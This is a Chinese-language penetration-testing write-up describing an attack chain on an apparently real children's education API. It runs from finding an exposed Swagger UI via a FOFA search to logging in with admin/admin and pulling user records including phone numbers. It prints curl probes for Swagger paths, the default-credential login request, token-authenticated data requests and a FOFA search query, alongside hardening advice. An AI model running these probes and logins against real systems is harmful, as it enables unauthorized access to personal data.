适合人群:Web安全初学者/渗透测试从业者
本文已脱敏处理,不包含任何真实用户信息
一、攻击链概览
FOFA发现目标 → Swagger UI暴露 → 查看API文档
→ 发现admin默认凭证 → 登录管理后台
→ 全量用户数据泄露(含手机号)
整个攻击链不需要任何扫描器,纯手工,耗时 < 5分钟。
二、第一步:发现Swagger UI
通过FOFA搜索特定指纹,发现了一个教育类API服务。关键特征是:
- 端口 8000 开放 HTTP 服务
- 返回 Swagger UI 页面
- 标题含 "Backend API"
如何识别Swagger:
# Swagger UI 路径(最常用)
curl http://target:8000/docs
curl http://target:8000/swagger-ui.html
curl http://target:8000/redoc
# 直接获取API文档JSON
curl http://target:8000/openapi.json
curl http://target:8000/v2/api-docs
curl http://target:8000/swagger.json
如果返回200且包含API定义,说明文档公开——这就是第一个入口。
三、第二步:分析API文档
拿到 /openapi.json 后,分析出系统信息:
| 信息 | 内容 |
|---|---|
| 系统名称 | 儿童教育后端API |
| 框架 | FastAPI (Python) |
| 版本 | 1.0.0 |
| 认证方式 | JWT Token |
| API端点 | 54个 |
关键API分组:
- 认证模块:
/api/v1/admin/auth/login— 管理员登录 - 用户管理:
/api/v1/admin/classes/{id}/users— 用户查询 - 数据统计:
/api/v1/admin/analytics/— 平台数据
四、第三步:尝试默认凭证
看到 admin/auth/login 接口,直接试最常见的弱口令组合:
curl -X POST https://target/api/v1/admin/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}'
返回200 + JWT Token! 这意味着:
- 管理员账号存在
- 密码为默认值
admin - 没有登录频率限制
- 没有IP白名单
五、第四步:利用admin权限获取数据
拿着Token访问管理API:
TOKEN="eyJhbG..."
curl -H "Authorization: Bearer $TOKEN" \
https://target/api/v1/admin/analytics/platform-stats
返回结果(脱敏):
{
"total_users": "8xxx人",
"total_progress_records": "1xxx条",
"total_events": "1xxxx条",
"classes": "2x个班级"
}
进一步访问用户管理API,可获取:
- 用户名
- 手机号(明文)
- 角色信息
- 班级归属
六、漏洞根源分析
这套组合拳之所以能打穿,是因为三个环节同时出问题:
1. Swagger UI 公网暴露
Swagger 是开发调试工具,默认不设认证。很多团队上线时忘记关闭,导致API文档全量公开。
防御方案:
# FastAPI 生产环境禁用docs
app = FastAPI(docs_url=None, redoc_url=None)
# 或加IP白名单
2. 默认管理员凭证
admin/admin 是最经典的弱口令。管理员账号应该有:
- 强密码(12位+大小写+特殊字符)
- 多因素认证
- 登录日志审计
3. API未做二次鉴权
管理API应该:
- 不在公网暴露管理端口
- 做IP白名单
- 操作日志可追溯
七、经验总结
- Swagger 公开 = 给攻击者地图 — 上线前一定要关
- 默认密码不改等于没锁门 — admin/admin 是最常见的洞之一
- 单点突破后要横向看 — 一个弱口令可能连锁导致全平台沦陷
- FOFA可以搜很多有趣的API文档暴露:
body="swagger-ui" && port="8000"
修复优先级:
- 立即修改管理员密码
- 关闭Swagger公网访问
- 添加IP白名单
本文由 PingSec 安全研究团队原创,内容已脱敏处理
欢迎转载,请保留出处